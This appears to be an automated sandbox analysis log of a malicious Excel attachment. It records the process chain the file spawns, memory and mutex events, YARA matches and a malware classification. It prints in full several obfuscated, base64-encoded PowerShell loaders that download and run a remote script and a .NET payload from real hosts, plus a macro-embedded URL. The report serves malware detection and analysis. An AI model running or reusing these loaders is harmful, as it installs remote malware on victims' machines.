Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Memory allocated: 770B0000 page execute and read and write

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_000007FE89A8352E

7_2_000007FE89A8352E

Source: Cot90012ARCACONTAL.xls	OLE indicator, VBA macros: true
Source: ~DF04B4D643794D5F54.TMP.0.dr	OLE indicator, VBA macros: true

Source: Cot90012ARCACONTAL.xls	Stream path 'MBD005CAF38/\x1Ole' : https://jktc.pro/6nDb3Q?&soy=horrible&pelican=icky&bend=trite&workbench=icky&batting=penitent&cop-out,YP )\&OMP9OW2N.(Od_ZV4qq(,3+MXY}9XxUJby9C=7G^Z*_Xpg2
Source: ~DF04B4D643794D5F54.TMP.0.dr	Stream path 'MBD005CAF38/\x1Ole' : https://jktc.pro/6nDb3Q?&soy=horrible&pelican=icky&bend=trite&workbench=icky&batting=penitent&cop-out,YP )\&OMP9OW2N.(Od_ZV4qq(,3+MXY}9XxUJby9C=7G^Z*_Xpg2

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE "C:\PROGRA~1\COMMON~1\MICROS~1\DW\DW20.EXE" -x -s 2156

Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2055
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2022
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2055
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2022
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2055	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2022	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2055	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2022

Source: Process Memory Space: powershell.exe PID: 3968, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3344, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.phis.troj.expl.evad.winXLS@35/41@136/6

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-PVMSPM
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\DWWIN.EXE	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3276

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR8A35.tmp

Jump to behavior

Source: Cot90012ARCACONTAL.xls	OLE indicator, Workbook stream: true
Source: ~DF04B4D643794D5F54.TMP.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P................m.......m.....}..w.............................1......(.P..............3......................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm................G........k....}..w............\.......................(.P.....`.......h.........G.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w.............:e.....q..k......d.....(.P.....`.......h.......................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm................G........k....}..w............\.......................(.P.....`.......h.........G.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w.............:e.....q..k......d.....(.P.....`.......h.......................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.......G.....N.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..:e.....q..k......d.....(.P.....`.......h.........G..... .......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w.............:e.....q..k......d.....(.P.....`.......h.......................................	Jump to behavior
